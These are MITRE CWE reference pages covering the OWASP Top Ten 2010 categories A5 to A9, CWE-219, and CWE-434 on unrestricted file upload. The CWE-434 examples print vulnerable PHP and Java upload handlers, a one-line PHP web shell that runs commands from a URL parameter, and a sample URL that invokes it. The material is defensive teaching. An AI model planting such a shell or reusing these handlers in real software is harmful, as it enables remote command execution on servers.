MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember CompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. 352 Cross-Site Request Forgery (CSRF)
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-765] OWASP. "Top 10 2010-A5-Cross-Site Request Forgery (CSRF)". <http://www.owasp.org/index.php/Top_10_2010-A5-Cross-Site_Request_Forgery_%28CSRF%29>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A6 - Security Misconfiguration

Category ID: 815
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 209 Generation of Error Message Containing Sensitive Information
HasMember VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 219 Storage of File with Sensitive Data Under Web Root
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 250 Execution with Unnecessary Privileges
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 538 Insertion of Sensitive Information into Externally-Accessible File or Directory
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 552 Files or Directories Accessible to External Parties
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 732 Incorrect Permission Assignment for Critical Resource
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-766] OWASP. "Top 10 2010-A6-Security Misconfiguration". <http://www.owasp.org/index.php/Top_10_2010-A6-Security_Misconfiguration>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2010-09-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage

Category ID: 816
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 312 Cleartext Storage of Sensitive Information
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 326 Inadequate Encryption Strength
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 327 Use of a Broken or Risky Cryptographic Algorithm
HasMember VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 759 Use of a One-Way Hash without a Salt
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-767] OWASP. "Top 10 2010-A7-Insecure Cryptographic Storage". <http://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2011-09-13 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access

Category ID: 817
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 285 Improper Authorization
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 862 Missing Authorization
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-768] OWASP. "Top 10 2010-A8-Failure to Restrict URL Access". <http://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2011-09-13 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE CATEGORY: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection

Category ID: 818
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2010.
+ Membership
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 809 Weaknesses in OWASP Top Ten (2010)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
HasMember ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
HasMember BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 319 Cleartext Transmission of Sensitive Information
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-769] OWASP. "Top 10 2010-A9-Insufficient Transport Layer Protection". <http://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2011-09-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-04-27 CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

CWE-219: Storage of File with Sensitive Data Under Web Root

Weakness ID: 219
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.
+ Extended Description
Besides public-facing web pages and code, products may store sensitive data, code that is not directly invoked, or other files under the web document root of the web server. If the server is not configured or otherwise used to prevent direct access to those files, then attackers may obtain this sensitive data.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data

+ Potential Mitigations

Phases: Implementation; System Configuration

Avoid storing information under the web root directory.

Phase: System Configuration

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 552 Files or Directories Accessible to External Parties
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 433 Unparsed Raw Web Content Delivery
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Operation COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Observed Examples
Reference Description
Data file under web root.
Data file under web root.
Username/password in data file under web root.
Database file under web root.
database file under web root.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 815 OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1403 Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Sensitive Data Under Web Root
OWASP Top Ten 2004 A10 CWE More Specific Insecure Configuration Management
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2009-12-28 CWE Content Team MITRE
updated Relationships
2010-06-21 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2012-05-11 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2014-07-30 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24 CWE Content Team MITRE
updated Description, Name, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
+ Previous Entry Names
Change Date Previous Entry Name
2020-02-24 Sensitive Data Under Web Root

CWE-434: Unrestricted Upload of File with Dangerous Type

Weakness ID: 434
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Diagram for CWE-434
+ Alternate Terms
Unrestricted File Upload:
Used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for web-server extensions such as .asp and .php because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.
+ Potential Mitigations

Phase: Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Phase: Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Phase: Implementation

Strategy: Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]

Phase: Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Phase: Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 351 Insufficient Type Distinction
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 430 Deployment of Wrong Handler
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 436 Interpretation Conflict
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 73 External Control of File Name or Path
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 183 Permissive List of Allowed Inputs
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 184 Incomplete List of Disallowed Inputs
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 429 Handler Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

ASP.NET (Sometimes Prevalent)

PHP (Often Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Sometimes Prevalent)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

(good code)
Example Language: HTML 
<form action="upload_picture.php" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

(bad code)
Example Language: PHP 

// Define the target location where the picture being

// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
echo "The picture has been successfully uploaded.";
}
else
{
echo "There was an error uploading the picture, please try again.";
}

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:

(attack code)
 
malicious.php

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

(attack code)
Example Language: PHP 
<?php
system($_GET['cmd']);

?>

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

(attack code)
 
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.


Example 2

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {
...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();


} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.


+ Observed Examples
Reference Description
PHP-based FAQ management app does not check the MIME type for uploaded images
Web-based mail product stores ".shtml" attachments that could contain SSI
PHP upload does not restrict file types
upload and execution of .php file
upload file with dangerous extension
program does not restrict file types
improper type checking of uploaded files
Double "php" extension leaves an active php extension in the generated filename.
ASP program allows upload of .asp files by bypassing client-side checks
ASP file upload
ASP file upload
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
This can be primary when there is no check for the file type at all.
Resultant
